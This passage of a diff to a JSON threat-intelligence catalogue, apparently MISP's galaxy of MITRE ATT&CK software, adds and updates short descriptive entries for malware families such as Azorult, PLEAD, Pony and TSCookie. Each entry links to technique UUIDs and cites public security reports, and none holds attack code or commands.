"1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9b19d6b4-cfcb-492f-8ca8-8449e7331573", + "value": "MESSAGETAP - S0443" + }, { "description": "[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016.\nIn July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)", "meta": { @@ -29567,7 +33925,7 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29602,21 +33960,21 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29658,14 +34016,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29676,7 +34034,127 @@ "value": "Azorult - S0344" }, { - "description": "[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan.(Citation: Cybereason Oceanlotus May 2017)", + "description": "[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018) ", + "meta": { + "external_id": "S0435", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0435", + "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", + "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/" + ], + "synonyms": [ + "PLEAD" + ] + }, + "related": [ + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b57f419e-8b12-49d3-886b-145383725dcd", + "value": "PLEAD - S0435" + }, + { + "description": "[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050). [Denis](https://attack.mitre.org/software/S0354) shares several similarities to the [SOUNDBITE](https://attack.mitre.org/software/S0157) backdoor and has been used in conjunction with the [Goopy](https://attack.mitre.org/software/S0477) backdoor.(Citation: Cybereason Oceanlotus May 2017)", "meta": { "external_id": "S0354", "mitre_platforms": [ @@ -29691,13 +34169,6 @@ ] }, "related": [ - { - "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -29706,7 +34177,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29720,7 +34191,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29748,21 +34219,14 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29776,14 +34240,14 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29797,14 +34261,42 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29814,6 +34306,131 @@ "uuid": "f25aab1a-0cef-4910-a85d-bb38b32ea41a", "value": "Denis - S0354" }, + { + "description": "[Pony](https://attack.mitre.org/software/S0453) is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.(Citation: Malwarebytes Pony April 2016)", + "meta": { + "external_id": "S0453", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0453", + "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/" + ], + "synonyms": [ + "Pony" + ] + }, + "related": [ + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "222ba512-32d9-49ac-aefd-50ce981ce2ce", + "value": "Pony - S0453" + }, { "description": "[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)", "meta": { @@ -29839,14 +34456,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29860,14 +34477,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29881,14 +34498,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29912,6 +34529,243 @@ "uuid": "b45747dc-87ca-4597-a245-7e16a61bc491", "value": "Seasalt - S0345" }, + { + "description": "[INSOMNIA](https://attack.mitre.org/software/S0463) is spyware that has been used by the group Evil Eye.(Citation: Volexity Insomnia)", + "meta": { + "external_id": "S0463", + "mitre_platforms": [ + "iOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0463", + "https://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/" + ], + "synonyms": [ + "INSOMNIA" + ] + }, + "related": [ + { + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "21b7e0b0-0dea-4ccc-8ad4-8da51fe3a901", + "value": "INSOMNIA - S0463" + }, + { + "description": "[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)", + "meta": { + "external_id": "S0436", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0436", + "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", + "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html" + ], + "synonyms": [ + "TSCookie" + ] + }, + "related": [ + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "76ac7989-c5cc-42e2-93e3-d6c476f01ace", + "value": "TSCookie - S0436" + }, { "description": "[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)", "meta": { @@ -29929,14 +34783,14 @@ }, "related": [ { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "d467bc38-284b-4a00-96ac-125f447799fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29957,7 +34811,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29985,14 +34839,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30020,7 +34867,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30034,7 +34881,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30069,7 +34916,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30093,6 +34940,172 @@ "uuid": "24b4ce59-eaac-4c8b-8634-9b093b7ccd92", "value": "AuditCred - S0347" }, + { + "description": "[Avenger](https://attack.mitre.org/software/S0473) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "meta": { + "external_id": "S0473", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0473", + "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf" + ], + "synonyms": [ + "Avenger" + ] + }, + "related": [ + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "36ede314-7db4-4d09-b53d-81bbfbe5f6f8", + "value": "Avenger - S0473" + }, + { + "description": "[Kivars](https://attack.mitre.org/software/S0437) is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by [BlackTech](https://attack.mitre.org/groups/G0098) in a 2010 campaign.(Citation: TrendMicro BlackTech June 2017)", + "meta": { + "external_id": "S0437", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0437", + "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/" + ], + "synonyms": [ + "Kivars" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b2d134a1-7bd5-4293-94d4-8fc978cb1cd7", + "value": "Kivars - S0437" + }, { "description": "[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)", "meta": { @@ -30118,14 +35131,14 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30146,7 +35159,7 @@ "type": "uses" }, { - "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30174,7 +35187,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30188,14 +35201,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30207,11 +35220,283 @@ 